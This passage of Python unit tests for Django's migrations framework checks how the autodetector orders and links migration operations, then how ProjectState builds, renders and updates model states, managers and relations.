        self.assertOperationTypes(changes, 'thirdapp', 0, ["CreateModel", "CreateModel"])
        self.assertOperationAttributes(changes, 'thirdapp', 0, 0, name="CustomUser")
        self.assertOperationAttributes(changes, 'thirdapp', 0, 1, name="Aardvark")

    @override_settings(AUTH_USER_MODEL="thirdapp.CustomUser")
    def test_swappable_first_setting(self):
        """Tests that swappable models get their CreateModel first."""
        with isolate_lru_cache(apps.get_swappable_settings_name):
            changes = self.get_changes([], [self.custom_user_no_inherit, self.aardvark])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'thirdapp', 1)
        self.assertOperationTypes(changes, 'thirdapp', 0, ["CreateModel", "CreateModel"])
        self.assertOperationAttributes(changes, 'thirdapp', 0, 0, name="CustomUser")
        self.assertOperationAttributes(changes, 'thirdapp', 0, 1, name="Aardvark")

    def test_bases_first(self):
        """Tests that bases of other models come first."""
        changes = self.get_changes([], [self.aardvark_based_on_author, self.author_name])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["CreateModel", "CreateModel"])
        self.assertOperationAttributes(changes, 'testapp', 0, 0, name="Author")
        self.assertOperationAttributes(changes, 'testapp', 0, 1, name="Aardvark")

    def test_multiple_bases(self):
        """#23956 - Tests that inheriting models doesn't move *_ptr fields into AddField operations."""
        A = ModelState("app", "A", [("a_id", models.AutoField(primary_key=True))])
        B = ModelState("app", "B", [("b_id", models.AutoField(primary_key=True))])
        C = ModelState("app", "C", [], bases=("app.A", "app.B"))
        D = ModelState("app", "D", [], bases=("app.A", "app.B"))
        E = ModelState("app", "E", [], bases=("app.A", "app.B"))
        changes = self.get_changes([], [A, B, C, D, E])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, "app", 1)
        self.assertOperationTypes(changes, "app", 0, [
            "CreateModel", "CreateModel", "CreateModel", "CreateModel", "CreateModel"
        ])
        self.assertOperationAttributes(changes, "app", 0, 0, name="A")
        self.assertOperationAttributes(changes, "app", 0, 1, name="B")
        self.assertOperationAttributes(changes, "app", 0, 2, name="C")
        self.assertOperationAttributes(changes, "app", 0, 3, name="D")
        self.assertOperationAttributes(changes, "app", 0, 4, name="E")

    def test_proxy_bases_first(self):
        """Tests that bases of proxies come first."""
        changes = self.get_changes([], [self.author_empty, self.author_proxy, self.author_proxy_proxy])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["CreateModel", "CreateModel", "CreateModel"])
        self.assertOperationAttributes(changes, 'testapp', 0, 0, name="Author")
        self.assertOperationAttributes(changes, 'testapp', 0, 1, name="AuthorProxy")
        self.assertOperationAttributes(changes, 'testapp', 0, 2, name="AAuthorProxyProxy")

    def test_pk_fk_included(self):
        """
        Tests that a relation used as the primary key is kept as part of
        CreateModel.
        """
        changes = self.get_changes([], [self.aardvark_pk_fk_author, self.author_name])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["CreateModel", "CreateModel"])
        self.assertOperationAttributes(changes, 'testapp', 0, 0, name="Author")
        self.assertOperationAttributes(changes, 'testapp', 0, 1, name="Aardvark")

    def test_first_dependency(self):
        """
        Tests that a dependency to an app with no migrations uses __first__.
        """
        # Load graph
        loader = MigrationLoader(connection)
        before = self.make_project_state([])
        after = self.make_project_state([self.book_migrations_fk])
        after.real_apps = ["migrations"]
        autodetector = MigrationAutodetector(before, after)
        changes = autodetector._detect_changes(graph=loader.graph)
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'otherapp', 1)
        self.assertOperationTypes(changes, 'otherapp', 0, ["CreateModel"])
        self.assertOperationAttributes(changes, 'otherapp', 0, 0, name="Book")
        self.assertMigrationDependencies(changes, 'otherapp', 0, [("migrations", "__first__")])

    @override_settings(MIGRATION_MODULES={"migrations": "migrations.test_migrations"})
    def test_last_dependency(self):
        """
        Tests that a dependency to an app with existing migrations uses the
        last migration of that app.
        """
        # Load graph
        loader = MigrationLoader(connection)
        before = self.make_project_state([])
        after = self.make_project_state([self.book_migrations_fk])
        after.real_apps = ["migrations"]
        autodetector = MigrationAutodetector(before, after)
        changes = autodetector._detect_changes(graph=loader.graph)
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'otherapp', 1)
        self.assertOperationTypes(changes, 'otherapp', 0, ["CreateModel"])
        self.assertOperationAttributes(changes, 'otherapp', 0, 0, name="Book")
        self.assertMigrationDependencies(changes, 'otherapp', 0, [("migrations", "0002_second")])

    def test_alter_fk_before_model_deletion(self):
        """
        Tests that ForeignKeys are altered _before_ the model they used to
        refer to are deleted.
        """
        changes = self.get_changes(
            [self.author_name, self.publisher_with_author],
            [self.aardvark_testapp, self.publisher_with_aardvark_author]
        )
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["CreateModel", "AlterField", "DeleteModel"])
        self.assertOperationAttributes(changes, 'testapp', 0, 0, name="Aardvark")
        self.assertOperationAttributes(changes, 'testapp', 0, 1, name="author")
        self.assertOperationAttributes(changes, 'testapp', 0, 2, name="Author")

    def test_fk_dependency_other_app(self):
        """
        #23100 - Tests that ForeignKeys correctly depend on other apps' models.
        """
        changes = self.get_changes([self.author_name, self.book], [self.author_with_book, self.book])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["AddField"])
        self.assertOperationAttributes(changes, 'testapp', 0, 0, name="book")
        self.assertMigrationDependencies(changes, 'testapp', 0, [("otherapp", "__first__")])

    def test_circular_dependency_mixed_addcreate(self):
        """
        #23315 - Tests that the dependency resolver knows to put all CreateModel
        before AddField and not become unsolvable.
        """
        address = ModelState("a", "Address", [
            ("id", models.AutoField(primary_key=True)),
            ("country", models.ForeignKey("b.DeliveryCountry", models.CASCADE)),
        ])
        person = ModelState("a", "Person", [
            ("id", models.AutoField(primary_key=True)),
        ])
        apackage = ModelState("b", "APackage", [
            ("id", models.AutoField(primary_key=True)),
            ("person", models.ForeignKey("a.Person", models.CASCADE)),
        ])
        country = ModelState("b", "DeliveryCountry", [
            ("id", models.AutoField(primary_key=True)),
        ])
        changes = self.get_changes([], [address, person, apackage, country])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'a', 2)
        self.assertNumberMigrations(changes, 'b', 1)
        self.assertOperationTypes(changes, 'a', 0, ["CreateModel", "CreateModel"])
        self.assertOperationTypes(changes, 'a', 1, ["AddField"])
        self.assertOperationTypes(changes, 'b', 0, ["CreateModel", "CreateModel"])

    @override_settings(AUTH_USER_MODEL="a.Tenant")
    def test_circular_dependency_swappable(self):
        """
        #23322 - Tests that the dependency resolver knows to explicitly resolve
        swappable models.
        """
        with isolate_lru_cache(apps.get_swappable_settings_name):
            tenant = ModelState("a", "Tenant", [
                ("id", models.AutoField(primary_key=True)),
                ("primary_address", models.ForeignKey("b.Address", models.CASCADE))],
                bases=(AbstractBaseUser, )
            )
            address = ModelState("b", "Address", [
                ("id", models.AutoField(primary_key=True)),
                ("tenant", models.ForeignKey(settings.AUTH_USER_MODEL, models.CASCADE)),
            ])
            changes = self.get_changes([], [address, tenant])

        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'a', 2)
        self.assertOperationTypes(changes, 'a', 0, ["CreateModel"])
        self.assertOperationTypes(changes, 'a', 1, ["AddField"])
        self.assertMigrationDependencies(changes, 'a', 0, [])
        self.assertMigrationDependencies(changes, 'a', 1, [('a', 'auto_1'), ('b', 'auto_1')])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'b', 1)
        self.assertOperationTypes(changes, 'b', 0, ["CreateModel"])
        self.assertMigrationDependencies(changes, 'b', 0, [('__setting__', 'AUTH_USER_MODEL')])

    @override_settings(AUTH_USER_MODEL="b.Tenant")
    def test_circular_dependency_swappable2(self):
        """
        #23322 - Tests that the dependency resolver knows to explicitly resolve
        swappable models but with the swappable not being the first migrated
        model.
        """
        with isolate_lru_cache(apps.get_swappable_settings_name):
            address = ModelState("a", "Address", [
                ("id", models.AutoField(primary_key=True)),
                ("tenant", models.ForeignKey(settings.AUTH_USER_MODEL, models.CASCADE)),
            ])
            tenant = ModelState("b", "Tenant", [
                ("id", models.AutoField(primary_key=True)),
                ("primary_address", models.ForeignKey("a.Address", models.CASCADE))],
                bases=(AbstractBaseUser, )
            )
            changes = self.get_changes([], [address, tenant])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'a', 2)
        self.assertOperationTypes(changes, 'a', 0, ["CreateModel"])
        self.assertOperationTypes(changes, 'a', 1, ["AddField"])
        self.assertMigrationDependencies(changes, 'a', 0, [])
        self.assertMigrationDependencies(changes, 'a', 1, [('__setting__', 'AUTH_USER_MODEL'), ('a', 'auto_1')])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'b', 1)
        self.assertOperationTypes(changes, 'b', 0, ["CreateModel"])
        self.assertMigrationDependencies(changes, 'b', 0, [('a', 'auto_1')])

    @override_settings(AUTH_USER_MODEL="a.Person")
    def test_circular_dependency_swappable_self(self):
        """
        #23322 - Tests that the dependency resolver knows to explicitly resolve
        swappable models.
        """
        with isolate_lru_cache(apps.get_swappable_settings_name):
            person = ModelState("a", "Person", [
                ("id", models.AutoField(primary_key=True)),
                ("parent1", models.ForeignKey(settings.AUTH_USER_MODEL, models.CASCADE, related_name='children'))
            ])
            changes = self.get_changes([], [person])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'a', 1)
        self.assertOperationTypes(changes, 'a', 0, ["CreateModel"])
        self.assertMigrationDependencies(changes, 'a', 0, [])

    @mock.patch('django.db.migrations.questioner.MigrationQuestioner.ask_not_null_addition',
                side_effect=AssertionError("Should not have prompted for not null addition"))
    def test_add_blank_textfield_and_charfield(self, mocked_ask_method):
        """
        #23405 - Adding a NOT NULL and blank `CharField` or `TextField`
        without default should not prompt for a default.
        """
        changes = self.get_changes([self.author_empty], [self.author_with_biography_blank])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["AddField", "AddField"])
        self.assertOperationAttributes(changes, 'testapp', 0, 0)

    @mock.patch('django.db.migrations.questioner.MigrationQuestioner.ask_not_null_addition')
    def test_add_non_blank_textfield_and_charfield(self, mocked_ask_method):
        """
        #23405 - Adding a NOT NULL and non-blank `CharField` or `TextField`
        without default should prompt for a default.
        """
        changes = self.get_changes([self.author_empty], [self.author_with_biography_non_blank])
        self.assertEqual(mocked_ask_method.call_count, 2)
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["AddField", "AddField"])
        self.assertOperationAttributes(changes, 'testapp', 0, 0)






from django.apps.registry import Apps
from django.contrib.contenttypes.fields import GenericForeignKey
from django.db import models
from django.db.migrations.exceptions import InvalidBasesError
from django.db.migrations.operations import (
    AddField, AlterField, DeleteModel, RemoveField,
)
from django.db.migrations.state import (
    ModelState, ProjectState, get_related_models_recursive,
)
from django.test import SimpleTestCase, override_settings
from django.test.utils import isolate_apps
from django.utils import six

from .models import (
    FoodManager, FoodQuerySet, ModelWithCustomBase, NoMigrationFoodManager,
    UnicodeModel,
)


class StateTests(SimpleTestCase):
    """
    Tests state construction, rendering and modification by operations.
    """

    def test_create(self):
        """
        Tests making a ProjectState from an Apps
        """

        new_apps = Apps(["migrations"])

        class Author(models.Model):
            name = models.CharField(max_length=255)
            bio = models.TextField()
            age = models.IntegerField(blank=True, null=True)

            class Meta:
                app_label = "migrations"
                apps = new_apps
                unique_together = ["name", "bio"]
                index_together = ["bio", "age"]

        class AuthorProxy(Author):
            class Meta:
                app_label = "migrations"
                apps = new_apps
                proxy = True
                ordering = ["name"]

        class SubAuthor(Author):
            width = models.FloatField(null=True)

            class Meta:
                app_label = "migrations"
                apps = new_apps

        class Book(models.Model):
            title = models.CharField(max_length=1000)
            author = models.ForeignKey(Author, models.CASCADE)
            contributors = models.ManyToManyField(Author)

            class Meta:
                app_label = "migrations"
                apps = new_apps
                verbose_name = "tome"
                db_table = "test_tome"
                indexes = [models.Index(fields=['title'])]

        class Food(models.Model):

            food_mgr = FoodManager('a', 'b')
            food_qs = FoodQuerySet.as_manager()
            food_no_mgr = NoMigrationFoodManager('x', 'y')

            class Meta:
                app_label = "migrations"
                apps = new_apps

        class FoodNoManagers(models.Model):

            class Meta:
                app_label = "migrations"
                apps = new_apps

        class FoodNoDefaultManager(models.Model):

            food_no_mgr = NoMigrationFoodManager('x', 'y')
            food_mgr = FoodManager('a', 'b')
            food_qs = FoodQuerySet.as_manager()

            class Meta:
                app_label = "migrations"
                apps = new_apps

        mgr1 = FoodManager('a', 'b')
        mgr2 = FoodManager('x', 'y', c=3, d=4)

        class FoodOrderedManagers(models.Model):
            # The managers on this model should be ordered by their creation
            # counter and not by the order in model body

            food_no_mgr = NoMigrationFoodManager('x', 'y')
            food_mgr2 = mgr2
            food_mgr1 = mgr1

            class Meta:
                app_label = "migrations"
                apps = new_apps

        project_state = ProjectState.from_apps(new_apps)
        author_state = project_state.models['migrations', 'author']
        author_proxy_state = project_state.models['migrations', 'authorproxy']
        sub_author_state = project_state.models['migrations', 'subauthor']
        book_state = project_state.models['migrations', 'book']
        food_state = project_state.models['migrations', 'food']
        food_no_managers_state = project_state.models['migrations', 'foodnomanagers']
        food_no_default_manager_state = project_state.models['migrations', 'foodnodefaultmanager']
        food_order_manager_state = project_state.models['migrations', 'foodorderedmanagers']
        book_index = models.Index(fields=['title'])
        book_index.set_name_with_model(Book)

        self.assertEqual(author_state.app_label, "migrations")
        self.assertEqual(author_state.name, "Author")
        self.assertEqual([x for x, y in author_state.fields], ["id", "name", "bio", "age"])
        self.assertEqual(author_state.fields[1][1].max_length, 255)
        self.assertIs(author_state.fields[2][1].null, False)
        self.assertIs(author_state.fields[3][1].null, True)
        self.assertEqual(
            author_state.options,
            {"unique_together": {("name", "bio")}, "index_together": {("bio", "age")}, "indexes": []}
        )
        self.assertEqual(author_state.bases, (models.Model, ))

        self.assertEqual(book_state.app_label, "migrations")
        self.assertEqual(book_state.name, "Book")
        self.assertEqual([x for x, y in book_state.fields], ["id", "title", "author", "contributors"])
        self.assertEqual(book_state.fields[1][1].max_length, 1000)
        self.assertIs(book_state.fields[2][1].null, False)
        self.assertEqual(book_state.fields[3][1].__class__.__name__, "ManyToManyField")
        self.assertEqual(
            book_state.options,
            {"verbose_name": "tome", "db_table": "test_tome", "indexes": [book_index]},
        )
        self.assertEqual(book_state.bases, (models.Model, ))

        self.assertEqual(author_proxy_state.app_label, "migrations")
        self.assertEqual(author_proxy_state.name, "AuthorProxy")
        self.assertEqual(author_proxy_state.fields, [])
        self.assertEqual(author_proxy_state.options, {"proxy": True, "ordering": ["name"], "indexes": []})
        self.assertEqual(author_proxy_state.bases, ("migrations.author", ))

        self.assertEqual(sub_author_state.app_label, "migrations")
        self.assertEqual(sub_author_state.name, "SubAuthor")
        self.assertEqual(len(sub_author_state.fields), 2)
        self.assertEqual(sub_author_state.bases, ("migrations.author", ))

        # The default manager is used in migrations
        self.assertEqual([name for name, mgr in food_state.managers], ['food_mgr'])
        self.assertTrue(all(isinstance(name, six.text_type) for name, mgr in food_state.managers))
        self.assertEqual(food_state.managers[0][1].args, ('a', 'b', 1, 2))

        # No explicit managers defined. Migrations will fall back to the default
        self.assertEqual(food_no_managers_state.managers, [])

        # food_mgr is used in migration but isn't the default mgr, hence add the
        # default
        self.assertEqual([name for name, mgr in food_no_default_manager_state.managers],
                         ['food_no_mgr', 'food_mgr'])
        self.assertTrue(all(isinstance(name, six.text_type) for name, mgr in food_no_default_manager_state.managers))
        self.assertEqual(food_no_default_manager_state.managers[0][1].__class__, models.Manager)
        self.assertIsInstance(food_no_default_manager_state.managers[1][1], FoodManager)

        self.assertEqual([name for name, mgr in food_order_manager_state.managers],
                         ['food_mgr1', 'food_mgr2'])
        self.assertTrue(all(isinstance(name, six.text_type) for name, mgr in food_order_manager_state.managers))
        self.assertEqual([mgr.args for name, mgr in food_order_manager_state.managers],
                         [('a', 'b', 1, 2), ('x', 'y', 3, 4)])

    def test_custom_default_manager_added_to_the_model_state(self):
        """
        When the default manager of the model is a custom manager,
        it needs to be added to the model state.
        """
        new_apps = Apps(['migrations'])
        custom_manager = models.Manager()

        class Author(models.Model):
            objects = models.TextField()
            authors = custom_manager

            class Meta:
                app_label = 'migrations'
                apps = new_apps

        project_state = ProjectState.from_apps(new_apps)
        author_state = project_state.models['migrations', 'author']
        self.assertEqual(author_state.managers, [('authors', custom_manager)])

    def test_custom_default_manager_named_objects_with_false_migration_flag(self):
        """
        When a manager is added with a name of 'objects' but it does not
        have `use_in_migrations = True`, no migration should be added to the
        model state (#26643).
        """
        new_apps = Apps(['migrations'])

        class Author(models.Model):
            objects = models.Manager()

            class Meta:
                app_label = 'migrations'
                apps = new_apps

        project_state = ProjectState.from_apps(new_apps)
        author_state = project_state.models['migrations', 'author']
        self.assertEqual(author_state.managers, [])

    def test_no_duplicate_managers(self):
        """
        When a manager is added with `use_in_migrations = True` and a parent
        model had a manager with the same name and `use_in_migrations = True`,
        the parent's manager shouldn't appear in the model state (#26881).
        """
        new_apps = Apps(['migrations'])

        class PersonManager(models.Manager):
            use_in_migrations = True

        class Person(models.Model):
            objects = PersonManager()

            class Meta:
                abstract = True

        class BossManager(PersonManager):
            use_in_migrations = True

        class Boss(Person):
            objects = BossManager()

            class Meta:
                app_label = 'migrations'
                apps = new_apps

        project_state = ProjectState.from_apps(new_apps)
        boss_state = project_state.models['migrations', 'boss']
        self.assertEqual(boss_state.managers, [('objects', Boss.objects)])

    def test_custom_default_manager(self):
        new_apps = Apps(['migrations'])

        class Author(models.Model):
            manager1 = models.Manager()
            manager2 = models.Manager()

            class Meta:
                app_label = 'migrations'
                apps = new_apps
                default_manager_name = 'manager2'

        project_state = ProjectState.from_apps(new_apps)
        author_state = project_state.models['migrations', 'author']
        self.assertEqual(author_state.options['default_manager_name'], 'manager2')
        self.assertEqual(author_state.managers, [('manager2', Author.manager1)])

    def test_custom_base_manager(self):
        new_apps = Apps(['migrations'])

        class Author(models.Model):
            manager1 = models.Manager()
            manager2 = models.Manager()

            class Meta:
                app_label = 'migrations'
                apps = new_apps
                base_manager_name = 'manager2'

        class Author2(models.Model):
            manager1 = models.Manager()
            manager2 = models.Manager()

            class Meta:
                app_label = 'migrations'
                apps = new_apps
                base_manager_name = 'manager1'

        project_state = ProjectState.from_apps(new_apps)

        author_state = project_state.models['migrations', 'author']
        self.assertEqual(author_state.options['base_manager_name'], 'manager2')
        self.assertEqual(author_state.managers, [
            ('manager1', Author.manager1),
            ('manager2', Author.manager2),
        ])

        author2_state = project_state.models['migrations', 'author2']
        self.assertEqual(author2_state.options['base_manager_name'], 'manager1')
        self.assertEqual(author2_state.managers, [
            ('manager1', Author2.manager1),
        ])

    def test_apps_bulk_update(self):
        """
        StateApps.bulk_update() should update apps.ready to False and reset
        the value afterwards.
        """
        project_state = ProjectState()
        apps = project_state.apps
        with apps.bulk_update():
            self.assertFalse(apps.ready)
        self.assertTrue(apps.ready)
        with self.assertRaises(ValueError):
            with apps.bulk_update():
                self.assertFalse(apps.ready)
                raise ValueError()
        self.assertTrue(apps.ready)

    def test_render(self):
        """
        Tests rendering a ProjectState into an Apps.
        """
        project_state = ProjectState()
        project_state.add_model(ModelState(
            app_label="migrations",
            name="Tag",
            fields=[
                ("id", models.AutoField(primary_key=True)),
                ("name", models.CharField(max_length=100)),
                ("hidden", models.BooleanField()),
            ],
        ))
        project_state.add_model(ModelState(
            app_label="migrations",
            name="SubTag",
            fields=[
                ('tag_ptr', models.OneToOneField(
                    'migrations.Tag',
                    models.CASCADE,
                    auto_created=True,
                    primary_key=True,
                    to_field='id',
                    serialize=False,
                )),
                ("awesome", models.BooleanField()),
            ],
            bases=("migrations.Tag",),
        ))

        base_mgr = models.Manager()
        mgr1 = FoodManager('a', 'b')
        mgr2 = FoodManager('x', 'y', c=3, d=4)
        project_state.add_model(ModelState(
            app_label="migrations",
            name="Food",
            fields=[
                ("id", models.AutoField(primary_key=True)),
            ],
            managers=[
                # The ordering we really want is objects, mgr1, mgr2
                ('default', base_mgr),
                ('food_mgr2', mgr2),
                (b'food_mgr1', mgr1),
            ]
        ))

        new_apps = project_state.apps
        self.assertEqual(new_apps.get_model("migrations", "Tag")._meta.get_field("name").max_length, 100)
        self.assertIs(new_apps.get_model("migrations", "Tag")._meta.get_field("hidden").null, False)

        self.assertEqual(len(new_apps.get_model("migrations", "SubTag")._meta.local_fields), 2)

        Food = new_apps.get_model("migrations", "Food")
        self.assertEqual([mgr.name for mgr in Food._meta.managers],
                         ['default', 'food_mgr1', 'food_mgr2'])
        self.assertTrue(all(isinstance(mgr.name, six.text_type) for mgr in Food._meta.managers))
        self.assertEqual([mgr.__class__ for mgr in Food._meta.managers],
                         [models.Manager, FoodManager, FoodManager])

    def test_render_model_inheritance(self):
        class Book(models.Model):
            title = models.CharField(max_length=1000)

            class Meta:
                app_label = "migrations"
                apps = Apps()

        class Novel(Book):
            class Meta:
                app_label = "migrations"
                apps = Apps()

        # First, test rendering individually
        apps = Apps(["migrations"])

        # We shouldn't be able to render yet
        ms = ModelState.from_model(Novel)
        with self.assertRaises(InvalidBasesError):
            ms.render(apps)

        # Once the parent model is in the app registry, it should be fine
        ModelState.from_model(Book).render(apps)
        ModelState.from_model(Novel).render(apps)

    def test_render_model_with_multiple_inheritance(self):
        class Foo(models.Model):
            class Meta:
                app_label = "migrations"
                apps = Apps()

        class Bar(models.Model):
            class Meta:
                app_label = "migrations"
                apps = Apps()

        class FooBar(Foo, Bar):
            class Meta:
                app_label = "migrations"
                apps = Apps()

        class AbstractSubFooBar(FooBar):
            class Meta:
                abstract = True
                apps = Apps()

        class SubFooBar(AbstractSubFooBar):
            class Meta:
                app_label = "migrations"
                apps = Apps()

        apps = Apps(["migrations"])

        # We shouldn't be able to render yet
        ms = ModelState.from_model(FooBar)
        with self.assertRaises(InvalidBasesError):
            ms.render(apps)

        # Once the parent models are in the app registry, it should be fine
        ModelState.from_model(Foo).render(apps)
        self.assertSequenceEqual(ModelState.from_model(Foo).bases, [models.Model])
        ModelState.from_model(Bar).render(apps)
        self.assertSequenceEqual(ModelState.from_model(Bar).bases, [models.Model])
        ModelState.from_model(FooBar).render(apps)
        self.assertSequenceEqual(ModelState.from_model(FooBar).bases, ['migrations.foo', 'migrations.bar'])
        ModelState.from_model(SubFooBar).render(apps)
        self.assertSequenceEqual(ModelState.from_model(SubFooBar).bases, ['migrations.foobar'])

    def test_render_project_dependencies(self):
        """
        Tests that the ProjectState render method correctly renders models
        to account for inter-model base dependencies.
        """
        new_apps = Apps()

        class A(models.Model):
            class Meta:
                app_label = "migrations"
                apps = new_apps

        class B(A):
            class Meta:
                app_label = "migrations"
                apps = new_apps

        class C(B):
            class Meta:
                app_label = "migrations"
                apps = new_apps

        class D(A):
            class Meta:
                app_label = "migrations"
                apps = new_apps

        class E(B):
            class Meta:
                app_label = "migrations"
                apps = new_apps
                proxy = True

        class F(D):
            class Meta:
                app_label = "migrations"
                apps = new_apps
                proxy = True

        # Make a ProjectState and render it
        project_state = ProjectState()
        project_state.add_model(ModelState.from_model(A))
        project_state.add_model(ModelState.from_model(B))
        project_state.add_model(ModelState.from_model(C))
        project_state.add_model(ModelState.from_model(D))
        project_state.add_model(ModelState.from_model(E))
        project_state.add_model(ModelState.from_model(F))
        final_apps = project_state.apps
        self.assertEqual(len(final_apps.get_models()), 6)

        # Now make an invalid ProjectState and make sure it fails
        project_state = ProjectState()
        project_state.add_model(ModelState.from_model(A))
        project_state.add_model(ModelState.from_model(B))
        project_state.add_model(ModelState.from_model(C))
        project_state.add_model(ModelState.from_model(F))
        with self.assertRaises(InvalidBasesError):
            project_state.apps

    def test_render_unique_app_labels(self):
        """
        Tests that the ProjectState render method doesn't raise an
        ImproperlyConfigured exception about unique labels if two dotted app
        names have the same last part.
        """
        class A(models.Model):
            class Meta:
                app_label = "django.contrib.auth"

        class B(models.Model):
            class Meta:
                app_label = "vendor.auth"

        # Make a ProjectState and render it
        project_state = ProjectState()
        project_state.add_model(ModelState.from_model(A))
        project_state.add_model(ModelState.from_model(B))
        self.assertEqual(len(project_state.apps.get_models()), 2)

    def test_add_relations(self):
        """
        #24573 - Adding relations to existing models should reload the
        referenced models too.
        """
        new_apps = Apps()

        class A(models.Model):
            class Meta:
                app_label = 'something'
                apps = new_apps

        class B(A):
            class Meta:
                app_label = 'something'
                apps = new_apps

        class C(models.Model):
            class Meta:
                app_label = 'something'
                apps = new_apps

        project_state = ProjectState()
        project_state.add_model(ModelState.from_model(A))
        project_state.add_model(ModelState.from_model(B))
        project_state.add_model(ModelState.from_model(C))

        project_state.apps  # We need to work with rendered models

        old_state = project_state.clone()
        model_a_old = old_state.apps.get_model('something', 'A')
        model_b_old = old_state.apps.get_model('something', 'B')
        model_c_old = old_state.apps.get_model('something', 'C')
        # Check that the relations between the old models are correct
        self.assertIs(model_a_old._meta.get_field('b').related_model, model_b_old)
        self.assertIs(model_b_old._meta.get_field('a_ptr').related_model, model_a_old)

        operation = AddField('c', 'to_a', models.OneToOneField(
            'something.A',
            models.CASCADE,
            related_name='from_c',
        ))
        operation.state_forwards('something', project_state)
        model_a_new = project_state.apps.get_model('something', 'A')
        model_b_new = project_state.apps.get_model('something', 'B')
        model_c_new = project_state.apps.get_model('something', 'C')

        # Check that all models have changed
        self.assertIsNot(model_a_old, model_a_new)
        self.assertIsNot(model_b_old, model_b_new)
        self.assertIsNot(model_c_old, model_c_new)
        # Check that the relations between the old models still hold
        self.assertIs(model_a_old._meta.get_field('b').related_model, model_b_old)
        self.assertIs(model_b_old._meta.get_field('a_ptr').related_model, model_a_old)
        # Check that the relations between the new models correct
        self.assertIs(model_a_new._meta.get_field('b').related_model, model_b_new)
        self.assertIs(model_b_new._meta.get_field('a_ptr').related_model, model_a_new)
        self.assertIs(model_a_new._meta.get_field('from_c').related_model, model_c_new)
        self.assertIs(model_c_new._meta.get_field('to_a').related_model, model_a_new)

    def test_remove_relations(self):
        """
        #24225 - Tests that relations between models are updated while
        remaining the relations and references for models of an old state.
        """
        new_apps = Apps()

        class A(models.Model):
            class Meta:
                app_label = "something"
                apps = new_apps

        class B(models.Model):
            to_a = models.ForeignKey(A, models.CASCADE)

            class Meta:
                app_label = "something"
                apps = new_apps

        def get_model_a(state):
            return [mod for mod in state.apps.get_models() if mod._meta.model_name == 'a'][0]

        project_state = ProjectState()
        project_state.add_model(ModelState.from_model(A))
        project_state.add_model(ModelState.from_model(B))
        self.assertEqual(len(get_model_a(project_state)._meta.related_objects), 1)
        old_state = project_state.clone()

        operation = RemoveField("b", "to_a")
        operation.state_forwards("something", project_state)
        # Tests that model from old_state still has the relation
        model_a_old = get_model_a(old_state)
        model_a_new = get_model_a(project_state)
        self.assertIsNot(model_a_old, model_a_new)
        self.assertEqual(len(model_a_old._meta.related_objects), 1)
        self.assertEqual(len(model_a_new._meta.related_objects), 0)

        # Same test for deleted model
        project_state = ProjectState()
        project_state.add_model(ModelState.from_model(A))
        project_state.add_model(ModelState.from_model(B))
        old_state = project_state.clone()

        operation = DeleteModel("b")
        operation.state_forwards("something", project_state)
        model_a_old = get_model_a(old_state)
        model_a_new = get_model_a(project_state)
        self.assertIsNot(model_a_old, model_a_new)
        self.assertEqual(len(model_a_old._meta.related_objects), 1)
        self.assertEqual(len(model_a_new._meta.related_objects), 0)

    def test_self_relation(self):
        """
        #24513 - Modifying an object pointing to itself would cause it to be
        rendered twice and thus breaking its related M2M through objects.
        """
        class A(models.Model):
            to_a = models.ManyToManyField('something.A', symmetrical=False)

            class Meta:
                app_label = "something"

        def get_model_a(state):
            return [mod for mod in state.apps.get_models() if mod._meta.model_name == 'a'][0]

        project_state = ProjectState()
        project_state.add_model((ModelState.from_model(A)))
        self.assertEqual(len(get_model_a(project_state)._meta.related_objects), 1)
        old_state = project_state.clone()

        operation = AlterField(
            model_name="a",
            name="to_a",
            field=models.ManyToManyField("something.A", symmetrical=False, blank=True)
        )
        # At this point the model would be rendered twice causing its related
        # M2M through objects to point to an old copy and thus breaking their
        # attribute lookup.
        operation.state_forwards("something", project_state)

        model_a_old = get_model_a(old_state)
        model_a_new = get_model_a(project_state)
        self.assertIsNot(model_a_old, model_a_new)

        # Tests that the old model's _meta is still consistent
        field_to_a_old = model_a_old._meta.get_field("to_a")
        self.assertEqual(field_to_a_old.m2m_field_name(), "from_a")
        self.assertEqual(field_to_a_old.m2m_reverse_field_name(), "to_a")
        self.assertIs(field_to_a_old.related_model, model_a_old)
        self.assertIs(field_to_a_old.remote_field.through._meta.get_field('to_a').related_model, model_a_old)
        self.assertIs(field_to_a_old.remote_field.through._meta.get_field('from_a').related_model, model_a_old)

        # Tests that the new model's _meta is still consistent
        field_to_a_new = model_a_new._meta.get_field("to_a")
        self.assertEqual(field_to_a_new.m2m_field_name(), "from_a")
        self.assertEqual(field_to_a_new.m2m_reverse_field_name(), "to_a")
        self.assertIs(field_to_a_new.related_model, model_a_new)
        self.assertIs(field_to_a_new.remote_field.through._meta.get_field('to_a').related_model, model_a_new)
        self.assertIs(field_to_a_new.remote_field.through._meta.get_field('from_a').related_model, model_a_new)

    def test_equality(self):
        """
        Tests that == and != are implemented correctly.
        """

        # Test two things that should be equal
        project_state = ProjectState()
        project_state.add_model(ModelState(
            "migrations",
            "Tag",
            [
                ("id", models.AutoField(primary_key=True)),
                ("name", models.CharField(max_length=100)),
                ("hidden", models.BooleanField()),
            ],
            {},
            None,
        ))
